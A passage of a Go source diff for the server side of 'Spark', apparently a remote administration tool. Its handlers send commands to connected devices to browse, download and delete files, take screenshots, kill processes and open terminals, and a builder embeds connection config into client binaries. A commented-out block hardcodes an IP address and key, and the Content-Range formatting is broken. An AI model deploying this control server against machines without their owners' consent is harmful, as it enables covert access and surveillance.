Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
connUUID := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
connUUID, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
connUUID = form.Conn
|
||||
if !common.Devices.Has(connUUID) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Act: `listFiles`, Data: gin.H{`path`: form.Path, `event`: trigger}}, connUUID)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0, Data: p.Data})
|
||||
}
|
||||
}, connUUID, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
||||
|
||||
// getDeviceFile will try to get send a packet to
|
||||
// client and let it upload the file specified.
|
||||
func getDeviceFile(ctx *gin.Context) {
|
||||
var form struct {
|
||||
File string `json:"file" yaml:"file" form:"file" binding:"required"`
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
target := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
target, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
target = form.Conn
|
||||
if !common.Devices.Has(target) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
partial := false
|
||||
{
|
||||
command := gin.H{`file`: form.File, `event`: trigger}
|
||||
rangeHeader := ctx.GetHeader(`Range`)
|
||||
if len(rangeHeader) > 6 {
|
||||
if rangeHeader[:6] != `bytes=` {
|
||||
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
|
||||
return
|
||||
}
|
||||
rangeHeader = strings.TrimSpace(rangeHeader[6:])
|
||||
rangesList := strings.Split(rangeHeader, `,`)
|
||||
if len(rangesList) > 1 {
|
||||
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
|
||||
return
|
||||
}
|
||||
r := strings.Split(rangesList[0], `-`)
|
||||
rangeStart, err := strconv.ParseInt(r[0], 10, 64)
|
||||
if err != nil {
|
||||
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
|
||||
return
|
||||
}
|
||||
rangeEnd := int64(0)
|
||||
if len(r[1]) > 0 {
|
||||
rangeEnd, err = strconv.ParseInt(r[1], 10, 64)
|
||||
if err != nil {
|
||||
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
|
||||
return
|
||||
}
|
||||
if rangeEnd < rangeStart {
|
||||
ctx.Status(http.StatusRequestedRangeNotSatisfiable)
|
||||
return
|
||||
}
|
||||
command[`end`] = rangeEnd
|
||||
}
|
||||
command[`start`] = rangeStart
|
||||
partial = true
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Code: 0, Act: `uploadFile`, Data: command}, target)
|
||||
}
|
||||
|
||||
wait := make(chan bool)
|
||||
called := false
|
||||
addEvent(func(p modules.Packet, _ *melody.Session) {
|
||||
called = true
|
||||
removeEvent(trigger)
|
||||
if p.Code != 0 {
|
||||
wait <- false
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
return
|
||||
} else {
|
||||
val, ok := p.Data[`request`]
|
||||
if !ok {
|
||||
wait <- false
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `文件上传失败`})
|
||||
return
|
||||
}
|
||||
req, ok := val.(*http.Request)
|
||||
if !ok || req == nil || req.Body == nil {
|
||||
wait <- false
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `文件上传失败`})
|
||||
return
|
||||
}
|
||||
|
||||
if req.ContentLength > 0 {
|
||||
ctx.Header(`Content-Length`, strconv.FormatInt(req.ContentLength, 10))
|
||||
}
|
||||
ctx.Header(`Accept-Ranges`, `bytes`)
|
||||
ctx.Header(`Content-Type`, `application/octet-stream`)
|
||||
filename := ctx.GetHeader(`FileName`)
|
||||
if len(filename) == 0 {
|
||||
filename = path.Base(strings.ReplaceAll(form.File, `\`, `/`))
|
||||
}
|
||||
filename = url.PathEscape(filename)
|
||||
ctx.Header(`Content-Disposition`, `attachment; filename* = UTF-8''`+filename+`;`)
|
||||
|
||||
if partial {
|
||||
ctx.Header(`Content-Range`, fmt.Sprintf(`bytes %v-%v/%v`))
|
||||
ctx.Status(http.StatusPartialContent)
|
||||
} else {
|
||||
ctx.Status(http.StatusOK)
|
||||
}
|
||||
|
||||
for {
|
||||
buffer := make([]byte, 8192)
|
||||
n, err := req.Body.Read(buffer)
|
||||
buffer = buffer[:n]
|
||||
ctx.Writer.Write(buffer)
|
||||
ctx.Writer.Flush()
|
||||
if n == 0 || err != nil {
|
||||
wait <- false
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}, target, trigger)
|
||||
select {
|
||||
case <-wait:
|
||||
case <-time.After(5 * time.Second):
|
||||
if !called {
|
||||
removeEvent(trigger)
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
} else {
|
||||
<-wait
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// putDeviceFile will be called by client.
|
||||
// It will transfer binary stream from client to browser.
|
||||
func putDeviceFile(ctx *gin.Context) {
|
||||
original := ctx.Request.Body
|
||||
ctx.Request.Body = ioutil.NopCloser(ctx.Request.Body)
|
||||
|
||||
errMsg := ctx.GetHeader(`Error`)
|
||||
trigger := ctx.GetHeader(`Trigger`)
|
||||
if len(trigger) == 0 {
|
||||
original.Close()
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
if len(errMsg) > 0 {
|
||||
evCaller(modules.Packet{
|
||||
Code: 1,
|
||||
Msg: fmt.Sprintf(`文件上传失败:%v`, errMsg),
|
||||
Data: map[string]interface{}{
|
||||
`callback`: trigger,
|
||||
},
|
||||
}, nil)
|
||||
original.Close()
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
return
|
||||
}
|
||||
evCaller(modules.Packet{
|
||||
Code: 0,
|
||||
Data: map[string]interface{}{
|
||||
`request`: ctx.Request,
|
||||
`callback`: trigger,
|
||||
},
|
||||
}, nil)
|
||||
original.Close()
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
184
server/handler/generate.go
Normal file
184
server/handler/generate.go
Normal file
@@ -0,0 +1,184 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/server/config"
|
||||
"Spark/utils"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/gin-gonic/gin"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type clientCfg struct {
|
||||
Secure bool `json:"secure"`
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
Path string `json:"path"`
|
||||
UUID string `json:"uuid"`
|
||||
Key string `json:"key"`
|
||||
}
|
||||
|
||||
var (
|
||||
errTooLargeEntity = errors.New(`length of data can not excess buffer size`)
|
||||
)
|
||||
|
||||
//func init() {
|
||||
// clientUUID := utils.GetUUID()
|
||||
// clientKey, _ := common.EncAES(clientUUID, append([]byte("XZB_Spark"), bytes.Repeat([]byte{25}, 24-9)...))
|
||||
// cfg, _ := genConfig(clientCfg{
|
||||
// Secure: false,
|
||||
// Host: "47.102.136.182",
|
||||
// Port: 1025,
|
||||
// Path: "/",
|
||||
// UUID: hex.EncodeToString(clientUUID),
|
||||
// Key: hex.EncodeToString(clientKey),
|
||||
// })
|
||||
// output := ``
|
||||
// temp := hex.EncodeToString(cfg)
|
||||
// for i := 0; i < len(temp); i += 2 {
|
||||
// output += `\x` + temp[i:i+2]
|
||||
// }
|
||||
// ioutil.WriteFile(`./Client.cfg`, []byte(output), 0755)
|
||||
//}
|
||||
|
||||
func checkClient(ctx *gin.Context) {
|
||||
var form struct {
|
||||
OS string `json:"os" yaml:"os" form:"os" binding:"required"`
|
||||
Arch string `json:"arch" yaml:"arch" form:"arch" binding:"required"`
|
||||
Host string `json:"host" yaml:"host" form:"host" binding:"required"`
|
||||
Port uint16 `json:"port" yaml:"port" form:"port" binding:"required"`
|
||||
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
|
||||
Secure string `json:"secure" yaml:"secure" form:"secure"`
|
||||
}
|
||||
if err := ctx.ShouldBind(&form); err != nil {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
_, err := common.BuiltFS.Open(fmt.Sprintf(`/%v_%v`, form.OS, form.Arch))
|
||||
if err != nil {
|
||||
ctx.JSON(http.StatusNotFound, modules.Packet{Code: 1, Msg: `该系统或架构的客户端尚未编译`})
|
||||
return
|
||||
}
|
||||
_, err = genConfig(clientCfg{
|
||||
Secure: form.Secure == `true`,
|
||||
Host: form.Host,
|
||||
Port: int(form.Port),
|
||||
Path: form.Path,
|
||||
UUID: strings.Repeat(`FF`, 16),
|
||||
Key: strings.Repeat(`FF`, 32),
|
||||
})
|
||||
if err != nil {
|
||||
if err == errTooLargeEntity {
|
||||
ctx.JSON(http.StatusRequestEntityTooLarge, modules.Packet{Code: 1, Msg: `配置信息过长`})
|
||||
return
|
||||
}
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
|
||||
return
|
||||
}
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
|
||||
func generateClient(ctx *gin.Context) {
|
||||
var form struct {
|
||||
OS string `json:"os" yaml:"os" form:"os" binding:"required"`
|
||||
Arch string `json:"arch" yaml:"arch" form:"arch" binding:"required"`
|
||||
Host string `json:"host" yaml:"host" form:"host" binding:"required"`
|
||||
Port uint16 `json:"port" yaml:"port" form:"port" binding:"required"`
|
||||
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
|
||||
Secure string `json:"secure" yaml:"secure" form:"secure"`
|
||||
}
|
||||
if err := ctx.ShouldBind(&form); err != nil {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
tpl, err := common.BuiltFS.Open(fmt.Sprintf(`/%v_%v`, form.OS, form.Arch))
|
||||
if err != nil {
|
||||
ctx.JSON(http.StatusNotFound, modules.Packet{Code: 1, Msg: `该系统或架构的客户端尚未编译`})
|
||||
return
|
||||
}
|
||||
clientUUID := utils.GetUUID()
|
||||
clientKey, err := common.EncAES(clientUUID, config.Config.StdSalt)
|
||||
if err != nil {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
|
||||
return
|
||||
}
|
||||
cfgBytes, err := genConfig(clientCfg{
|
||||
Secure: form.Secure == `true`,
|
||||
Host: form.Host,
|
||||
Port: int(form.Port),
|
||||
Path: form.Path,
|
||||
UUID: hex.EncodeToString(clientUUID),
|
||||
Key: hex.EncodeToString(clientKey),
|
||||
})
|
||||
if err != nil {
|
||||
if err == errTooLargeEntity {
|
||||
ctx.JSON(http.StatusRequestEntityTooLarge, modules.Packet{Code: 1, Msg: `配置信息过长`})
|
||||
return
|
||||
}
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `配置文件生成失败`})
|
||||
return
|
||||
}
|
||||
ctx.Header(`Accept-Ranges`, `none`)
|
||||
ctx.Header(`Content-Transfer-Encoding`, `binary`)
|
||||
ctx.Header(`Content-Type`, `application/octet-stream`)
|
||||
if stat, err := tpl.Stat(); err == nil {
|
||||
ctx.Header(`Content-Length`, strconv.FormatInt(stat.Size(), 10))
|
||||
}
|
||||
if form.OS == `windows` {
|
||||
ctx.Header(`Content-Disposition`, `attachment; filename=client.exe;`)
|
||||
} else {
|
||||
ctx.Header(`Content-Disposition`, `attachment; filename=client;`)
|
||||
}
|
||||
cfgBuffer := bytes.Repeat([]byte{'\x19'}, 384)
|
||||
prevBuffer := make([]byte, 0)
|
||||
for {
|
||||
thisBuffer := make([]byte, 1024)
|
||||
n, err := tpl.Read(thisBuffer)
|
||||
thisBuffer = thisBuffer[:n]
|
||||
tempBuffer := append(prevBuffer, thisBuffer...)
|
||||
bufIndex := bytes.Index(tempBuffer, cfgBuffer)
|
||||
if bufIndex > -1 {
|
||||
tempBuffer = bytes.Replace(tempBuffer, cfgBuffer, cfgBytes, -1)
|
||||
}
|
||||
ctx.Writer.Write(tempBuffer[:len(prevBuffer)])
|
||||
prevBuffer = tempBuffer[len(prevBuffer):]
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(prevBuffer) > 0 {
|
||||
ctx.Writer.Write(prevBuffer)
|
||||
prevBuffer = []byte{}
|
||||
}
|
||||
}
|
||||
|
||||
func genConfig(cfg clientCfg) ([]byte, error) {
|
||||
data, err := utils.JSON.Marshal(cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
key := utils.GetUUID()
|
||||
data, err = common.EncAES(data, key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
final := append(key, data...)
|
||||
if len(final) > 384-2 {
|
||||
return nil, errTooLargeEntity
|
||||
}
|
||||
dataLen := big.NewInt(int64(len(final))).Bytes()
|
||||
dataLen = append(bytes.Repeat([]byte{'\x00'}, 2-len(dataLen)), dataLen...)
|
||||
|
||||
final = append(dataLen, final...)
|
||||
for len(final) < 384 {
|
||||
final = append(final, utils.GetUUID()...)
|
||||
}
|
||||
return final[:384], nil
|
||||
}
|
242
server/handler/handler.go
Normal file
242
server/handler/handler.go
Normal file
@@ -0,0 +1,242 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/utils"
|
||||
"Spark/utils/melody"
|
||||
"fmt"
|
||||
"github.com/gin-gonic/gin"
|
||||
"github.com/kataras/golog"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
// APIRouter 负责分配各种API接口
|
||||
func APIRouter(ctx *gin.RouterGroup, auth gin.HandlerFunc) {
|
||||
ctx.PUT(`/device/screenshot/put`, putScreenshot)
|
||||
ctx.PUT(`/device/file/put`, putDeviceFile)
|
||||
ctx.Any(`/device/terminal`, initTerminal)
|
||||
group := ctx.Group(`/`, auth)
|
||||
{
|
||||
group.POST(`/device/screenshot/get`, getScreenshot)
|
||||
group.POST(`/device/process/list`, listDeviceProcesses)
|
||||
group.POST(`/device/process/kill`, killDeviceProcess)
|
||||
group.POST(`/device/file/remove`, removeDeviceFile)
|
||||
group.POST(`/device/file/list`, listDeviceFiles)
|
||||
group.POST(`/device/file/get`, getDeviceFile)
|
||||
group.POST(`/device/list`, getDevices)
|
||||
group.POST(`/device/:act`, callDevice)
|
||||
group.POST(`/client/check`, checkClient)
|
||||
group.POST(`/client/generate`, generateClient)
|
||||
}
|
||||
}
|
||||
|
||||
// putScreenshot 负责获取client发送过来的屏幕截图
|
||||
func putScreenshot(ctx *gin.Context) {
|
||||
errMsg := ctx.GetHeader(`Error`)
|
||||
trigger := ctx.GetHeader(`Trigger`)
|
||||
if len(trigger) == 0 {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
if len(errMsg) > 0 {
|
||||
evCaller(modules.Packet{
|
||||
Code: 1,
|
||||
Msg: fmt.Sprintf(`截图失败:%v`, errMsg),
|
||||
Data: map[string]interface{}{
|
||||
`callback`: trigger,
|
||||
},
|
||||
}, nil)
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
return
|
||||
}
|
||||
data, err := ctx.GetRawData()
|
||||
if len(data) == 0 {
|
||||
msg := ``
|
||||
if err != nil {
|
||||
msg = fmt.Sprintf(`截图读取失败:%v`, err)
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: msg})
|
||||
} else {
|
||||
msg = `截图失败:未知错误`
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
evCaller(modules.Packet{
|
||||
Code: 1,
|
||||
Msg: msg,
|
||||
Data: map[string]interface{}{
|
||||
`callback`: trigger,
|
||||
},
|
||||
}, nil)
|
||||
return
|
||||
}
|
||||
evCaller(modules.Packet{
|
||||
Code: 0,
|
||||
Data: map[string]interface{}{
|
||||
`screenshot`: data,
|
||||
`callback`: trigger,
|
||||
},
|
||||
}, nil)
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
|
||||
// getScreenshot 负责发送指令给client,让其截图
|
||||
func getScreenshot(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
target := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
target, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
target = form.Conn
|
||||
if !common.Devices.Has(target) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Code: 0, Act: `screenshot`, Data: gin.H{`event`: trigger}}, target)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
data, ok := p.Data[`screenshot`]
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `截图获取失败`})
|
||||
return
|
||||
}
|
||||
screenshot, ok := data.([]byte)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: `截图获取失败`})
|
||||
return
|
||||
}
|
||||
ctx.Data(200, `image/png`, screenshot)
|
||||
}
|
||||
}, target, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
||||
|
||||
// getDevices 负责获取所有device的基本信息
|
||||
func getDevices(ctx *gin.Context) {
|
||||
devices := make(map[string]modules.Device)
|
||||
common.Devices.IterCb(func(uuid string, v interface{}) bool {
|
||||
device, ok := v.(*modules.Device)
|
||||
if ok {
|
||||
devices[uuid] = *device
|
||||
}
|
||||
return true
|
||||
})
|
||||
ctx.JSON(http.StatusOK, modules.CommonPack{Code: 0, Data: devices})
|
||||
}
|
||||
|
||||
// callDevice 负责把HTTP网关发送的请求转发给client
|
||||
func callDevice(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
act := ctx.Param(`act`)
|
||||
if ctx.ShouldBind(&form) != nil || len(act) == 0 || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
connUUID := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
connUUID, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
connUUID = form.Conn
|
||||
if !common.Devices.Has(connUUID) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Act: act, Data: gin.H{`event`: trigger}}, connUUID)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
}, connUUID, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
||||
|
||||
// WSDevice 负责处理client设备信息上报的事件
|
||||
func WSDevice(data []byte, session *melody.Session) error {
|
||||
var pack struct {
|
||||
Code int `json:"code,omitempty"`
|
||||
Act string `json:"act,omitempty"`
|
||||
Msg string `json:"msg,omitempty"`
|
||||
Device modules.Device `json:"data"`
|
||||
}
|
||||
err := utils.JSON.Unmarshal(data, &pack)
|
||||
if err != nil {
|
||||
golog.Error(err)
|
||||
session.Close()
|
||||
return err
|
||||
}
|
||||
|
||||
addr, ok := session.Get(`Address`)
|
||||
if ok {
|
||||
pack.Device.WAN = addr.(string)
|
||||
} else {
|
||||
pack.Device.WAN = `Unknown`
|
||||
}
|
||||
|
||||
if pack.Act == `report` {
|
||||
// 查询设备列表中,该设备是否已经上线
|
||||
// 如果已经上线,就找到对应的session,发送命令使其退出
|
||||
exSession := ``
|
||||
common.Devices.IterCb(func(uuid string, v interface{}) bool {
|
||||
device := v.(*modules.Device)
|
||||
if device.ID == pack.Device.ID {
|
||||
exSession = uuid
|
||||
target, ok := common.Melody.GetSessionByUUID(uuid)
|
||||
if ok {
|
||||
common.SendPack(modules.Packet{Act: `offline`}, target)
|
||||
target.Close()
|
||||
}
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if len(exSession) > 0 {
|
||||
common.Devices.Remove(exSession)
|
||||
}
|
||||
}
|
||||
|
||||
common.Devices.Set(session.UUID, &pack.Device)
|
||||
if pack.Act == `setDevice` {
|
||||
common.SendPack(modules.Packet{Act: `heartbeat`}, session)
|
||||
} else {
|
||||
common.SendPack(modules.Packet{Code: 0}, session)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WSRouter 负责处理client回复的packet
|
||||
func WSRouter(pack modules.Packet, session *melody.Session) {
|
||||
|
||||
evCaller(pack, session)
|
||||
}
|
92
server/handler/process.go
Normal file
92
server/handler/process.go
Normal file
@@ -0,0 +1,92 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/utils"
|
||||
"Spark/utils/melody"
|
||||
"github.com/gin-gonic/gin"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// listDeviceProcesses will list processes on remote client
|
||||
func listDeviceProcesses(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
connUUID := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
connUUID, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
connUUID = form.Conn
|
||||
if !common.Devices.Has(connUUID) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Act: `listProcesses`, Data: gin.H{`event`: trigger}}, connUUID)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0, Data: p.Data})
|
||||
}
|
||||
}, connUUID, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
||||
|
||||
// killDeviceProcess will try to get send a packet to
|
||||
// client and let it kill the process specified.
|
||||
func killDeviceProcess(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Pid int32 `json:"pid" yaml:"pid" form:"pid" binding:"required"`
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
target := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
target, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
target = form.Conn
|
||||
if !common.Devices.Has(target) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Code: 0, Act: `killProcess`, Data: gin.H{`pid`: strconv.FormatInt(int64(form.Pid), 10), `event`: trigger}}, target)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
}, target, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
263
server/handler/terminal.go
Normal file
263
server/handler/terminal.go
Normal file
@@ -0,0 +1,263 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/utils"
|
||||
"Spark/utils/cmap"
|
||||
"Spark/utils/melody"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/hex"
|
||||
"github.com/gin-gonic/gin"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
type terminal struct {
|
||||
session *melody.Session
|
||||
deviceConn *melody.Session
|
||||
device string
|
||||
termUUID string
|
||||
eventUUID string
|
||||
}
|
||||
|
||||
var terminals = cmap.New()
|
||||
var wsTerminals = melody.New()
|
||||
|
||||
func init() {
|
||||
wsTerminals.HandleConnect(func(session *melody.Session) {
|
||||
device, ok := session.Get(`Device`)
|
||||
if !ok {
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
val, ok := session.Get(`Terminal`)
|
||||
if !ok {
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
termUUID, ok := val.(string)
|
||||
if !ok {
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: `终端创建失败`}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
connUUID, ok := common.CheckDevice(device.(string))
|
||||
if !ok {
|
||||
simpleSendPack(modules.Packet{Act: `warn`, Msg: `设备不存在或已经离线`}, session)
|
||||
session.Close()
|
||||
return
|
||||
}
|
||||
